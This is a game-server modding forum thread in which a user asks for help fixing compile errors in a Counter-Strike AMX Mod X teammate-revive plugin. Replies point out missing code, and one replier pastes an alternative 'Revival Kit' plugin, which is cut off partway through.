Raised This Month: $32 Target: $400
 8% 

Help Fix Revive plugin errors


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
mohanad_2022
Member
Join Date: Jan 2022
Location: Palestine
Old 10-06-2022 , 15:12   Help Fix Revive plugin errors
Reply With Quote #1

Hello everyone , i have this sma of revive plugin which posted on russian site ,and i would like to install this on my server but it have some errors , so could someone fix it plz

i will attach the sma code + the include file + the cfg file that connected with this sma

HTML Code:
public stock const AUTHOR[] = "Emma Jule";
public stock const VERSION[] = "1.0.0";

#include <amxmodx>
#include <fakemeta>
#include <hamsandwich>
#include <reapi>

new const CORPSE_CLASSNAME[] = "info_corpse";

enum _:CVARS
{
	ACCESS[32],
	Float:DURATION,
	USE,
	Float:ROUND_TIME,
	MAX,
	SHOOT,
	Float:SPEED,
	Float:DISTANCE,
	SPAWN_MODE,
	OBSERVER,
	Float:HEALTH,
	Float:BONUS_HEALTH,
	MONEY,
	FRAG,
	GUN[24],
	BAR,
	BOMB,
	DUEL,
	VIP,
	DIFF,
	Float:ALPHA,
	NOTIFICATION,
	ONLY_KNIFE,
	SAMPLE[MAX_RESOURCE_PATH_LENGTH],
	
};	new CVAR[CVARS];

enum _:FORWARDS
{
	REVIVE_RETURN,
	REVIVE_BEGIN,
	REVIVE_END,

};	new FORWARD[FORWARDS];

new g_iPlayerCorpse[MAX_PLAYERS + 1];

public plugin_precache()
{
	register_plugin("Revive Players", VERSION, AUTHOR);
	
	CreateCvars();
}

public plugin_init()
{
	if (register_dictionary("revive_teammates.txt") == 0)
		server_print("[Revive Teammates] Файл ^"revive_teammates.txt^" отсутствует..");
	
	register_message(get_user_msgid("ClCorpse"), "MsgHookClCorpse");
	
	register_event("TeamInfo", "Event_TeamInfo", "a", "1>0", "2=SPECTATOR");
	
	RegisterHookChain(RG_CBasePlayer_Spawn, "CBasePlayer_Spawn", true);
	RegisterHookChain(RG_CSGameRules_CleanUpMap, "CSGameRules_CleanUpMap", true);
	
	if (CVAR[SPEED])
		RegisterHookChain(RG_CBasePlayer_ResetMaxSpeed, "CBasePlayer_ResetMaxSpeed", true);
	
	RegisterHam(Ham_ObjectCaps, "info_target", "fw_ObjectCaps", false);
	
	if (CVAR[ONLY_KNIFE])
		RegisterHam(Ham_Item_CanHolster, "weapon_knife", "fw_Item_CanHolster", false);
}

public client_disconnected(id)
{
	CorpseRemove(id);
}

public Event_TeamInfo()
{
	CorpseRemove(read_data(1));
}

public CBasePlayer_Spawn(const id)
{
	CorpseRemove(id);
}

public CBasePlayer_ResetMaxSpeed(const id)
{
	if (~get_entvar(id, var_iuser3) & PLAYER_PREVENT_CLIMB)
		return;
	
	set_entvar(id, var_maxspeed, CVAR[SPEED]);
}

public CSGameRules_CleanUpMap()
{
	new id = rg_find_ent_by_class(NULLENT, CORPSE_CLASSNAME);
	
	while (id > 0)
	{
		CorpseRemove(get_entvar(id, var_owner));
		
		id = rg_find_ent_by_class(id, CORPSE_CLASSNAME);
	}
}

public fw_ObjectCaps(id)
{
	if (!FClassnameIs(id, CORPSE_CLASSNAME))
		return HAM_IGNORED;
	
	SetHamReturnInteger(FCAP_ONOFF_USE);
	return HAM_OVERRIDE;
}

public fw_Item_CanHolster(iWeapon)
{
	new pPlayer = get_member(iWeapon, m_pPlayer);
	
	if (~get_entvar(pPlayer, var_iuser3) & PLAYER_PREVENT_CLIMB)
		return HAM_IGNORED;
	
	SetHamReturnInteger(false);
	return HAM_OVERRIDE;
}

@corpse_use(id, activator, caller, USE_TYPE:type, Float:value)
{
	if (get_member_game(m_bRoundTerminating))
		return;
	
	if (value == 0.0)
		return;
	
	if (is_nullent(id))
		return;
	
	if (activator != caller)
		return;
	
	if (!ExecuteHam(Ham_IsPlayer, activator))
		return;
	
	// if (get_entvar(id, var_movetype) == MOVETYPE_FLY)
		// return;
	
	if (get_entvar(activator, var_waterlevel) > 1)
		return;
	
	if (get_member(activator, m_iTeam) != get_entvar(id, var_team))
		return;
	
	if (~get_user_flags(activator) & read_flags(CVAR[ACCESS]))
		return;
	
	static Float:flCurTime;
	flCurTime = get_gametime();
	
	if (flCurTime - Float:get_member_game(m_fRoundStartTime) < CVAR[ROUND_TIME])
	{
		client_print_color(activator, print_team_red, "%l %l", "RT_PREFIX", "RT_ROUND_TIME");
		return;
	}
	
	if (CVAR[DUEL] && rg_is_1v1())
	{
		client_print_color(activator, print_team_red, "%l %l", "RT_PREFIX", "RT_1VS1");
		return;
	}
	
	if (CVAR[BOMB] && rg_is_bomb_planted())
	{
		client_print_color(activator, print_team_red, "%l %l", "RT_PREFIX", "RT_BOMB_PLANTED");
		return;
	}
	
	if (CVAR[VIP] && get_member(activator, m_bIsVIP))
	{
		client_print_color(activator, print_team_red, "%l %l", "RT_PREFIX", "RT_VIP");
		return;
	}
	
	if (get_member(activator, m_iTeam) == rg_get_team_dominate())
	{
		client_print_color(activator, print_team_red, "%l %l", "RT_PREFIX", "RT_TEAM_DOMINATE");
		return;
	}
	
	if (get_entvar(id, var_iuser1) > 0)
	{
		client_print_color(activator, print_team_red, "%l %l", "RT_PREFIX", "RT_ALREADY_REVIVE", get_entvar(id, var_iuser1));
		return;
	}
	
	if (get_member((caller = get_entvar(id, var_owner)), m_iNumSpawns) > CVAR[MAX])
	{
		client_print_color(activator, print_team_red, "%l %l", "RT_PREFIX", "RT_MAX");
		return;
	}
	
	// @hack: speed rules
	new Float:vecVelocity[3];
	get_entvar(activator, var_velocity, vecVelocity);
	if (vector_length(vecVelocity) > 250.0)
		return;
	
	ExecuteForward(FORWARD[REVIVE_BEGIN], FORWARD[REVIVE_RETURN], caller, activator);
	
	if (FORWARD[REVIVE_RETURN] > PLUGIN_CONTINUE)
		return;
	
	if (CVAR[ONLY_KNIFE])
		if (!rg_switch_weapon(activator, get_member(activator, m_rgpPlayerItems, KNIFE_SLOT)))
			return;
	
	// это просто фишка
	set_entvar(activator, var_iuser3, get_entvar(activator, var_iuser3) | PLAYER_PREVENT_CLIMB);
	
	set_entvar(id, var_iuser1, activator);
	set_entvar(id, var_fuser1, flCurTime + CVAR[DURATION]);
	set_entvar(id, var_nextthink, flCurTime + 0.2);
	
	if (CVAR[ALPHA])
		rg_set_rendering(id, .mode = kRenderTransAlpha, .flColor = Float:{ 200.0, 200.0, 200.0 }, .iAmount = CVAR[ALPHA]);
	
	// Уведомления
	{
		set_dhudmessage(0, 160, 30, -1.0, 0.84, 2, 3.0, 2.0, 0.03, 0.4);
		show_dhudmessage(caller, "%l", "RT_REVIVING", activator);
		
		set_dhudmessage(0, 160, 30, -1.0, 0.76, 2, 3.0, 2.0, 0.03, 0.4);
		show_dhudmessage(activator, "%l", "RT_REVIVING2", caller, CVAR[DURATION]);
	}
	
	if (CVAR[OBSERVER])
	{
		// set_entvar(caller, var_iuser1, OBS_IN_EYE);
		rg_internal_cmd(caller, "specmode", "4");
		set_entvar(caller, var_iuser2, activator);
		
		set_member(caller, m_hObserverTarget, activator);
		set_member(caller, m_flNextObserverInput, flCurTime + 1.6);
	}
	
	if (CVAR[SHOOT])
		set_entvar(activator, var_iuser3, get_entvar(activator, var_iuser3) & ~PLAYER_CAN_SHOOT);
		// set_member(activator, m_bIsDefusing, true);
	
	if (CVAR[SPEED])
		rg_reset_maxspeed(activator);
	
	if (CVAR[BAR])
		rg_send_bartime(activator, floatround(CVAR[DURATION]), bool:(CVAR[BAR] == 1));
	
	for (new i; i < 3; i++)
		vecVelocity[i] *= 0.25;
	
	set_entvar(activator, var_velocity, vecVelocity);
}

@corpse_think(id)
{
	if (is_nullent(id))
		return;
	
	new bool:bIsStop = false;
	new activator = get_entvar(id, var_iuser1);
	
	if (get_entvar(activator, var_deadflag) != DEAD_NO)
		bIsStop = true;
	
	if (CVAR[USE] && ~get_entvar(activator, var_button) & IN_USE)
		bIsStop = true;
	
	if (CVAR[MONEY] < 0) {
		if (get_member(activator, m_iAccount) < -CVAR[MONEY]) {
			client_print_color(activator, print_team_red, "%l %l", "RT_PREFIX", "RT_NO_MONEY");
			bIsStop = true;
		}
	}
	
	static Float:flOrigin[3], Float:vecOrigin[3];
	get_entvar(id, var_origin, vecOrigin);
	get_entvar(activator, var_origin, flOrigin);
	if (vector_distance(flOrigin, vecOrigin) > CVAR[DISTANCE]) {
		bIsStop = true;
	}
	
	static Float:flCurTime;
	flCurTime = get_entvar(id, var_fuser1);
	
	if ((flCurTime != 0.0 && get_gametime() >= flCurTime))
	{
		new player = get_entvar(id, var_owner);
		
		set_member(player, m_bNotKilled, true);
		
		rg_round_respawn(player);
		
		// Возвращаем на место смерти
		if (CVAR[SPAWN_MODE])
		{
			engfunc(EngFunc_SetOrigin, player, vecOrigin);
			
			set_entvar(player, var_flags, get_entvar(player, var_flags) | FL_DUCKING);
			set_entvar(player, var_view_ofs, Float:{ 0.0, 0.0, 12.0 });
		}
		
		set_entvar(player, var_health, CVAR[HEALTH]);
		
		if (CVAR[GUN][0])
		{
			new pWeapon = rg_give_item(player, fmt("weapon_%s", CVAR[GUN]));
			
			if (!is_nullent(pWeapon))
			{
				new WeaponIdType:iId = get_member(pWeapon, m_iId);

				set_member(player, m_rgAmmo, rg_get_weapon_info(iId, WI_MAX_ROUNDS), rg_get_weapon_info(iId, WI_AMMO_TYPE));
			}
		}
		else
			rg_give_default_items(player);
		
		rg_add_account(activator, CVAR[MONEY]);
		
		if (CVAR[FRAG])
			ExecuteHamB(Ham_AddPoints, activator, CVAR[FRAG], true);
		
		if (CVAR[BONUS_HEALTH])
			ExecuteHamB(Ham_TakeHealth, activator, CVAR[BONUS_HEALTH], DMG_GENERIC);
		
		switch (CVAR[NOTIFICATION])
		{
			case 1: client_print_color(0, player, "%l %l", "RT_PREFIX", "RT_NOTIFICATION", activator, player);
			
			case 2:
			{
				for (new i; i < MaxClients; ++i)
				{
					if (!is_user_connected(i))
						continue;
					
					if (rg_is_player_can_takedamage(player, i))
						continue;
					
					client_print_color(i, player, "%l %l", "RT_PREFIX", "RT_NOTIFICATION", activator, player);
				}
			}
		}
		
		if (CVAR[SAMPLE][0])
			rh_emit_sound2(activator, 0, CHAN_BODY, CVAR[SAMPLE]);
		
		ExecuteForward(FORWARD[REVIVE_END], _, player, activator);
		
		CorpseRemove(player);
	}
	
	if (bIsStop)
	{
		set_entvar(id, var_iuser1, 0);
		set_entvar(id, var_fuser1, 0.0);
		set_entvar(id, var_nextthink, 0.0);
		
		rg_set_rendering(id);
		
		ResetRestrictions(activator);
	}
	else
		set_entvar(id, var_nextthink, get_gametime() + 0.2);
}

ResetRestrictions(pActivator)
{
	if (pActivator <= 0)
		return;
	
	set_entvar(pActivator, var_iuser3, get_entvar(pActivator, var_iuser3) & ~PLAYER_PREVENT_CLIMB);
	
	if (CVAR[SHOOT])
		set_entvar(pActivator, var_iuser3, get_entvar(pActivator, var_iuser3) | PLAYER_CAN_SHOOT);
		// set_member(pActivator, m_bIsDefusing, false);
	
	if (CVAR[SPEED])
		rg_reset_maxspeed(pActivator);
	
	if (CVAR[BAR])
		rg_send_bartime(pActivator, 0);
}

public MsgHookClCorpse()
{
	new id = rg_create_entity("info_target");
	
	if (is_nullent(id))
		return PLUGIN_CONTINUE;
	
	// владелец тела
	new pPlayer = get_msg_arg_int(12);
	
	new Float:vecOrigin[3];
	new Float:vecAngles[3];
	new szModel[32];
	
	g_iPlayerCorpse[pPlayer] = id;
	
	for (new i; i < 3; i++)
	{
		vecOrigin[i] = float(get_msg_arg_int(2 + i)) / 128.0;
		vecAngles[i] = get_msg_arg_float(5 + i);
	}
	
	get_msg_arg_string(1, szModel, charsmax(szModel));
	
	engfunc(EngFunc_SetModel, id, fmt("models/player/%s/%s.mdl", szModel, szModel));
	engfunc(EngFunc_SetSize, id, Float:{ -26.0, -26.0, 0.0 }, Float:{ 26.0, 26.0, 24.0 });
	engfunc(EngFunc_SetOrigin, id, vecOrigin);
	// engfunc(EngFunc_DropToFloor, id);
	
	set_entvar(id, var_classname, CORPSE_CLASSNAME);
	set_entvar(id, var_angles, vecAngles);
	set_entvar(id, var_body, get_msg_arg_int(10));
	set_entvar(id, var_framerate, 1.0);
	set_entvar(id, var_animtime, 0.0);
	set_entvar(id, var_sequence, get_msg_arg_int(9));
	set_entvar(id, var_owner, pPlayer);
	set_entvar(id, var_team, get_msg_arg_int(11));
	
	// custom values
	set_entvar(id, var_iuser1, 0);
	set_entvar(id, var_fuser1, 0.0);
	
	// корень
	{
		SetUse(id, "@corpse_use");
		SetThink(id, "@corpse_think");
	}
	
	return PLUGIN_HANDLED;
}

CorpseRemove(pPlayer)
{
	new id = g_iPlayerCorpse[pPlayer];
	
	g_iPlayerCorpse[pPlayer] = 0;
	
	if ((any:is_nullent(id) & ((-1) / 2)) == 0)
	{
		set_entvar(id, var_flags, FL_KILLME);
		
		ResetRestrictions(get_entvar(id, var_iuser1));
	}
}

CreateCvars()
{
	// $ddir/addons/amxmodx/configs/plugins/revive_teammates.cfg
	// файл создастся сам автоматически с вполне оптимальными настройками
	{
		bind_pcvar_string(create_cvar("rt_access_flag", "", .description = "Флаг(и) доступа администратора [^"^" - доступно всем]"), CVAR[ACCESS], charsmax(CVAR[ACCESS]));
		bind_pcvar_float(create_cvar("rt_duration", "5.0", .description = "Время через которое воскреснит союзник [в секундах]", .has_min = true, .min_val = 1.0, .has_max = true, .max_val = 10.0), CVAR[DURATION]);	
		bind_pcvar_num(create_cvar("rt_use", "1", .description = "Метод клавиши^n0 - просто нажать на клавишу^n1 - нужно удерживать клавишу", .has_max = true, .max_val = 1.0), CVAR[USE]);
		bind_pcvar_float(create_cvar("rt_round_time", "15.0", .description = "Это будет доступно через N сек. от начала раунда [0 - выкл]", .has_max = true, .max_val = 30.0), CVAR[ROUND_TIME]);
		bind_pcvar_num(create_cvar("rt_max_spawns", "3", .description = "Максимальное кол-во раз сколько может воскреснуть игрок за раунд"), CVAR[MAX]);
		bind_pcvar_num(create_cvar("rt_cant_shoot", "0", .description = "Заблокировать стрельбу во время события?", .has_max = true, .max_val = 1.0), CVAR[SHOOT]);
		bind_pcvar_float(create_cvar("rt_speed", "150.0", .description = "Скорость игрока во время события [0 - будет неизменной]", .has_max = true, .max_val = 250.0), CVAR[SPEED]);
		bind_pcvar_float(create_cvar("rt_distance", "128.0", .description = "Максимальная допустимая дистанция", .has_min = true, .min_val = 64.0, .has_max = true, .max_val = 350.0), CVAR[DISTANCE]);
		bind_pcvar_num(create_cvar("rt_spawn_mode", "1", .description = "Режим возрождения^n^n0. возрождается на базе^n1. возрождается там где умер", .has_max = true, .max_val = 1.0), CVAR[SPAWN_MODE]);
		bind_pcvar_num(create_cvar("rt_force_camera", "1", .description = "Автоматически переключать камеру игрока которого возрождают на того кто его возрождает", .has_max = true, .max_val = 1.0), CVAR[OBSERVER]);
		bind_pcvar_num(create_cvar("rt_money", "-500", .description = "Сколько добовляем денег тому кто поднял тиммейта^nИспользуйте отрицательное значение чтобы вычитать"), CVAR[MONEY]);
		bind_pcvar_num(create_cvar("rt_frag", "1", .description = "Сколько даем фрагов тому кто поднял тиммейта?"), CVAR[FRAG]);
		bind_pcvar_float(create_cvar("rt_bonus_health", "5.0", .description = "Сколько добовляем HP тому кто поднял тиммейта"), CVAR[BONUS_HEALTH]);
		bind_pcvar_float(create_cvar("rt_health", "50.0", .description = "Здоровье воскрешенного игрока", .has_min = true, .min_val = 1.0, .has_max = true, .max_val = 255.0), CVAR[HEALTH]);
		bind_pcvar_string(create_cvar("rt_weapon", "deagle", .description = "Оружие воскрешенного игрока [^"^" - используем квар mp_default_primary & mp_default_secondary]"), CVAR[GUN], charsmax(CVAR[GUN]));
		bind_pcvar_num(create_cvar("rt_bar", "1", .description = "Линия прогресса^n^n0. выкл^n1. вкл^n2. вкл (но те кто наблюдают за игроком не увидят это)", .has_max = true, .max_val = 2.0), CVAR[BAR]);
		bind_pcvar_num(create_cvar("rt_bomb", "0", .description = "Блокируем возрождения когда бобма установленна?", .has_max = true, .max_val = 1.0), CVAR[BOMB]);
		bind_pcvar_num(create_cvar("rt_1v1", "0", .description = "Блокируем возрождения когда остались 1vs1?", .has_max = true, .max_val = 1.0), CVAR[DUEL]);
		bind_pcvar_num(create_cvar("rt_vip", "1", .description = "Запрет VIP игроку воскрешать союзников? (на as_* картах)", .has_max = true, .max_val = 1.0), CVAR[VIP]);
		bind_pcvar_num(create_cvar("rt_win_diff", "20", .description = "Если разница между победами команд превышает это значение, то мы блокируем воскрешения?", .has_min = true, .min_val = 3.0), CVAR[DIFF]);
		bind_pcvar_num(create_cvar("rt_notifications", "2", .description = "Режим уведомлений^n^n0. выкл^n1. видно всем^n2. только команде", .has_max = true, .max_val = 2.0), CVAR[NOTIFICATION]);
		bind_pcvar_float(create_cvar("rt_alpha", "150.0", .description = "Степень прозрачности свечения трупа [^"0^" - выключить свечение]", .has_max = true, .max_val = 255.0), CVAR[ALPHA]);
		bind_pcvar_num(create_cvar("rt_only_knife", "0", .description = "Можно возрождать только с ножом в руке", .has_max = true, .max_val = 1.0), CVAR[ONLY_KNIFE]);
		bind_pcvar_string(create_cvar("rt_revived_sample", "x/x_recharge3.wav", .description = "Звук при завершении возрождения [^"^" - нет]"), CVAR[SAMPLE], charsmax(CVAR[SAMPLE]));
	}
	
	if (!file_exists(CVAR[SAMPLE]))
		CVAR[SAMPLE][0] = EOS;
	else
		precache_sound(CVAR[SAMPLE]);
	
	if (!CheckIsCvarPossible(CVAR[GUN]))
		CVAR[GUN][0] = EOS;
	
/*
	new aData[4][4];
	if (parse(CVAR[RENDER], aData[0], 3, aData[1], 3, aData[2], 3, aData[3], 3) < 4)
	{
		#pragma unused flRenderColor, iRenderAlpha
		
		CVAR[RENDER][0] = EOS;
	}
	else
	{
		for (new i = 0; i < 3; i++)
			flRenderColor[i] = str_to_float(aData[i]);
		
		flRenderAlpha = str_to_float(aData[3]);
	}
*/
	
	FORWARD[REVIVE_BEGIN] = CreateMultiForward("rt_start_revive", ET_CONTINUE, FP_CELL, FP_CELL);
	FORWARD[REVIVE_END] = CreateMultiForward("rt_revived", ET_IGNORE, FP_CELL, FP_CELL);
	
	AutoExecConfig(.name = "revive_teammates");
	
	// register_cvar("revive_teammates", VERSION, FCVAR_SERVER | FCVAR_SPONLY);
}

CheckIsCvarPossible(const name[])
{
	if (!name[0])
		return true;
	
	// ConnorMcLeod
	static const szWeapons[][] = { "p228", "scout", "xm1014", "mac10", "aug", "elite",
		"fiveseven", "ump45", "sg550", "galil", "famas", "usp", "glock18", "awp",
		"mp5navy", "m249", "m3", "m4a1", "tmp", "g3sg1", "deagle", "sg552", "ak47", "p90",
		"hegrenade", "smokegrenade", "flashbang", "knife" };
	
	for (new i = 0; i < sizeof(szWeapons); i++)
		if (strcmp(szWeapons[i], name) == 0)
			return true;
	
	return false;
}

stock bool:rg_is_1v1()
{
	new alive_t, alive_ct;
	rg_initialize_player_counts(alive_t, alive_ct, _, _);
	
	return bool:(alive_t == 1 && alive_ct == 1);
}

stock TeamName:rg_get_team_dominate(&diff = 0)
{
	diff = get_member_game(m_iNumTerroristWins) - get_member_game(m_iNumCTWins);
   
	return abs(diff) < CVAR[DIFF] ? TEAM_UNASSIGNED : diff ? TEAM_TERRORIST : TEAM_CT;
}

stock rg_set_rendering(const id, const fx = kRenderFxNone, const mode = kRenderNormal, const Float:flColor[] = NULL_VECTOR, const Float:iAmount = 0.0)
{
	set_entvar(id, var_renderfx, fx);
	set_entvar(id, var_rendermode, mode);
	set_entvar(id, var_rendercolor, flColor);
	set_entvar(id, var_renderamt, iAmount);
}
Attached Files
File Type: inc revive_teammates.inc (901 Bytes, 55 views)
File Type: cfg revive_teammates.cfg (4.2 KB, 53 views)
mohanad_2022 is offline
luki1412
Veteran Member
Join Date: Oct 2008
Location: OnPluginStart()
Old 10-06-2022 , 16:34   Re: Help Fix Revive plugin errors
Reply With Quote #2

You have brackets there without an IF statement, multiple times. You're missing some code.
__________________
luki1412 is offline
mohanad_2022
Member
Join Date: Jan 2022
Location: Palestine
Old 10-06-2022 , 22:28   Re: Help Fix Revive plugin errors
Reply With Quote #3

Quote:
Originally Posted by luki1412 View Post
You have brackets there without an IF statement, multiple times. You're missing some code.
is there a hope to fix it my friend ?
mohanad_2022 is offline
Ark_Procession
Senior Member
Join Date: Jun 2020
Location: Argentina
Old 10-14-2022 , 21:29   Re: Help Fix Revive plugin errors
Reply With Quote #4

Quote:
Originally Posted by mohanad_2022 View Post
is there a hope to fix it my friend ?
Use last version of amx, compile locally, don't ask for support (as requested by plugin 2nd developer)

Edit(of course): Works flawlessly, it has been thoroughly tested by me in all aspects that really matter.

HTML Code:
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <fun>
#include <engine>
#include <fakemeta>
#include <hamsandwich>
#include <xs>

//=====================================
//  VERSION CHECK
//=====================================
#if AMXX_VERSION_NUM < 190
	#assert "AMX Mod X v1.9.0 or Higher library required!"
#endif

#pragma compress 					1
#pragma semicolon 					1
#pragma tabsize 					4

static const PLUGIN_NAME	[] 		= "Revival Kit / Remastered";
static const PLUGIN_AUTHOR	[] 		= "Aoi.Kagase";
static const PLUGIN_VERSION	[]		= "1.000";

// ===================================================
// SELF REVIVE COMMAND.
// #define DEBUG_MODE
// ===================================================


#if !defined MAX_PLAYERS
	#define  MAX_PLAYERS	          	32
#endif
#if !defined MAX_RESOURCE_PATH_LENGTH
	#define  MAX_RESOURCE_PATH_LENGTH 	64
#endif
#if !defined MAX_NAME_LENGTH
	#define  MAX_NAME_LENGTH			32
#endif

enum (+= 32)
{
	TASKID_DIE_COUNT 				= 	1541320,
	TASKID_REVIVING,
	TASKID_CHECK_DEAD_FLAG,
	TASKID_RESPAWN,
	TASKID_CHECKRE,
	TASKID_CHECKST,
	TASKID_ORIGIN,
	TASKID_SETUSER,
	TASKID_SPAWN,
};

#define pev_zorigin					pev_fuser4
#define seconds(%1) 				((1<<12) * (%1))

#define HUDINFO_PARAMS
#define GUAGE_MAX 					30
enum _:E_ICON_STATE
{
	ICON_HIDE = 0,
	ICON_SHOW,
	ICON_FLASH
};

enum _:E_SOUNDS
{
	SOUND_START,
	SOUND_FINISHED,
	SOUND_FAILED,
	SOUND_EQUIP,
};

enum _:E_MODELS
{
	R_KIT,
};

enum _:E_PLAYER_DATA
{
	bool:HAS_KIT		,
	bool:WAS_DUCKING	,
	bool:IS_DEAD		,
	bool:IS_RESPAWNING	,
	Float:DEAD_LINE		,
	Float:REVIVE_DELAY	,
	Float:BODY_ORIGIN	[3],
	Float:AIM_VEC		[3],
	DEADBODY_ID			,
};

enum _:E_CLASS_NAME
{
	I_TARGET,
	PLAYER,
	CORPSE,
	R_KIT,
};

enum _:E_MESSAGES
{
	MSG_BARTIME,
	MSG_SCREEN_FADE,
	MSG_STATUS_ICON,
	MSG_CLCORPSE,
}

new const MESSAGES[E_MESSAGES][] = 
{
	"BarTime",
	"ScreenFade",
	"StatusIcon",
	"ClCorpse",
};

new const ENT_MODELS[E_MODELS][MAX_RESOURCE_PATH_LENGTH] = 
{
	"models/w_medkit.mdl"
};

new const ENT_SOUNDS[E_SOUNDS][MAX_RESOURCE_PATH_LENGTH] = 
{
	"items/medshot4.wav",
	"items/smallmedkit2.wav",
	"items/medshotno1.wav",
	"items/ammopickup2.wav",
};

new const ENTITY_CLASS_NAME[E_CLASS_NAME][MAX_NAME_LENGTH] = 
{
	"info_target",
	"player",
	"fake_corpse",
	"revival_kit",
};

enum _:E_CVARS
{
	RKIT_HEALTH,
	RKIT_COST,
	RKIT_SC_FADE,
	RKIT_SC_FADE_TIME,
	RKIT_TIME,
	RKIT_DEATH_TIME,
	RKIT_DM_MODE,
	RKIT_BOT_HAS_KIT,
	RKIT_BOT_CAN_REVIVE,
	RKIT_BUYMODE,
	RKIT_BUYZONE,
	Float:RKIT_DISTANCE,
	RKIT_CHECK_OBSTACLE,
	RKIT_REWARD,
	Float:RKIT_REVIVE_RADIUS,
	RKIT_REVIVE_ATTEMPT,
	RKIT_REVIVE_MOVELOCK,
	RKIT_RESPAWN_DROP,
};

new g_CVarString	[E_CVARS][][] =
{
	{"rkit_health", 			"75",	"num"},	
	{"rkit_cost",				"1200",	"num"},	
	{"rkit_screen_fade",		"1",	"num"},	
	{"rkit_screen_fade_time",	"2",	"num"},	
	{"rkit_delay_revive",		"3",	"num"},	
	{"rkit_delay_die",			"0",	"num"},	
	{"rkit_deathmatch",			"0",	"num"},	
	{"rkit_bot_has_kit",		"1",	"num"},	
	{"rkit_bot_can_revive",		"1",	"num"},
	{"rkit_buy_mode",			"1",	"num"},
	{"rkit_buy_zone",			"1",	"num"},
	{"rkit_distance",			"70.0",	"float"},
	{"rkit_check_obstacle",		"1",	"num"},
	{"rkit_reward",				"150",	"num"},
	{"rkit_revive_radius",		"10.0",	"float"},
	{"rkit_revive_attempt",		"10",	"num"},
	{"rkit_revive_move_lock",	"1",	"num"},
	{"rkit_respawn_weaponstrip","0",	"num"},
};

new g_cvarPointer	[E_CVARS];
new g_cvars			[E_CVARS];
new g_msg_data		[E_MESSAGES];
new g_player_data	[MAX_PLAYERS + 1][E_PLAYER_DATA];
new g_sync_obj;
new g_entInfo;

//====================================================
//  PLUGIN PRECACHE
//====================================================
public plugin_precache() 
{
	check_plugin();

	for (new i = 0; i < E_SOUNDS; i++)
		precache_sound(ENT_SOUNDS[i]);

	for (new i = 0; i < E_MODELS; i++) 
		precache_model(ENT_MODELS[i]);

	return PLUGIN_CONTINUE;
}

//====================================================
//  PLUGIN INITIALIZE
//====================================================
public plugin_init()
{
	register_plugin		(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR);
	register_cvar		(PLUGIN_NAME, PLUGIN_VERSION, FCVAR_SPONLY|FCVAR_SERVER);

	register_clcmd		("say /buyrkit", 	"CmdBuyRKit");
	register_clcmd		("buyrkit", 		"CmdBuyRKit");
	#if defined DEBUG_MODE
	register_clcmd		("debugrkit",		"DebugRevive");
	#endif

	// Register Cvar pointers.
	register_cvars();

	RegisterHam			(Ham_Touch,	ENTITY_CLASS_NAME[I_TARGET],"RKitTouch");
	RegisterHamPlayer	(Ham_Killed,							"PlayerKilled");
	RegisterHamPlayer	(Ham_Player_PostThink,					"PlayerPostThink");
	RegisterHamPlayer	(Ham_Spawn, 							"PlayerSpawn", 	.Post = true);

	register_event_ex	("HLTV", 								"RoundStart", RegisterEvent_Global, "1=0", "2=0");

	// Register Forward.
	register_forward	(FM_CmdStart,		"PlayerCmdStart");

	for(new i = 0; i < E_MESSAGES; i++)
		g_msg_data[i] = get_user_msgid(MESSAGES[i]);

	register_message 	(g_msg_data[MSG_CLCORPSE],				"message_clcorpse");

	g_entInfo = engfunc(EngFunc_AllocString, ENTITY_CLASS_NAME[I_TARGET]);

	g_sync_obj = CreateHudSyncObj();
}

// ====================================================
//  Register Cvars.
// ====================================================
register_cvars()
{
	for(new i = 0; i < E_CVARS; i++)
	{
		g_cvarPointer[i] = create_cvar(g_CVarString[i][0], g_CVarString[i][1]);
		if (equali(g_CVarString[i][2], "num"))
			bind_pcvar_num(g_cvarPointer[i], g_cvars[i]);
		else if(equali(g_CVarString[i][2], "float"))
			bind_pcvar_float(g_cvarPointer[i], Float:g_cvars[i]);
		
		hook_cvar_change(g_cvarPointer[i], "cvar_change_callback");
	}
}

// ====================================================
//  Callback cvar change.
// ====================================================
public cvar_change_callback(pcvar, const old_value[], const new_value[])
{
	for(new i = 0; i < E_CVARS; i++)
	{
		if (g_cvarPointer[i] == pcvar)
		{
			if (equali(g_CVarString[i][2], "num"))
				g_cvars[i] = str_to_num(new_value);
			else if (equali(g_CVarString[i][2], "float"))
				g_cvars[i] = _:str_to_float(new_value);

			console_print(0,"[RKit Debug]: Changed Cvar '%s' => '%s' to '%s'", g_CVarString[i][0], old_value, new_value);
		}
	}

	if (pcvar == g_cvarPointer[RKIT_BUYMODE] && equali(new_value, "0"))
	{
		new players[MAX_PLAYERS], pnum;
		get_players_ex(players, pnum, GetPlayers_ExcludeHLTV);
		for(new i = 0; i < pnum; i++)
			g_player_data[players[i]][HAS_KIT] = true;
	}
}

// ====================================================
//  Bot Register Ham.
// ====================================================
new g_bots_registered = false;
public client_authorized( id )
{
	if( !g_bots_registered && is_user_bot( id ) )
	{
		set_task( 0.1, "register_bots", id );
	}
}

public register_bots( id )
{
	if( !g_bots_registered && is_user_connected( id ) )
	{
		RegisterHamFromEntity( Ham_Killed, id, "PlayerKilled");
		g_bots_registered = true;
	}
}

// ====================================================
// Client Connected.
// Initialize Logic.
// ====================================================
public client_putinserver(id)
{
	if (g_cvars[RKIT_BUYMODE] == 0)
		g_player_data[id][HAS_KIT] = true;
	else
		g_player_data[id][HAS_KIT] = false;

	// Reset Parameters.
	player_reset(id);

	// Deter ghost respawning.
	g_player_data[id][IS_DEAD] = true;
}

// ====================================================
// Client Disconnected.
// Initialize and Remove Corpse.
// ====================================================
public client_disconnected(id)
{
	player_reset(id);
	remove_target_entity_by_owner(id, ENTITY_CLASS_NAME[CORPSE]);
}

// ====================================================
// Buy RKit Chat command.
// ====================================================
public CmdBuyRKit(id)
{
	if (!g_cvars[RKIT_BUYMODE])
	{
		client_print_color(id, print_chat, "^4[Revive Kit]:^1 You can't buy in this mode. You already have a revival kit.");
		return PLUGIN_HANDLED;
	}

	if(!is_user_alive(id))
		client_print_color(id, print_chat, "^4[Revive Kit]:^1 You need to be alive.");
	else if(g_player_data[id][HAS_KIT])
		client_print_color(id, print_chat, "^4[Revive Kit]:^1 You already have a revival kit.");
	else if(!cs_get_user_buyzone(id) && g_cvars[RKIT_BUYZONE])
		client_print_color(id, print_chat, "^4[Revive Kit]:^1 You need to be in the buyzone.");
	else if(cs_get_user_money(id) < g_cvars[RKIT_COST])
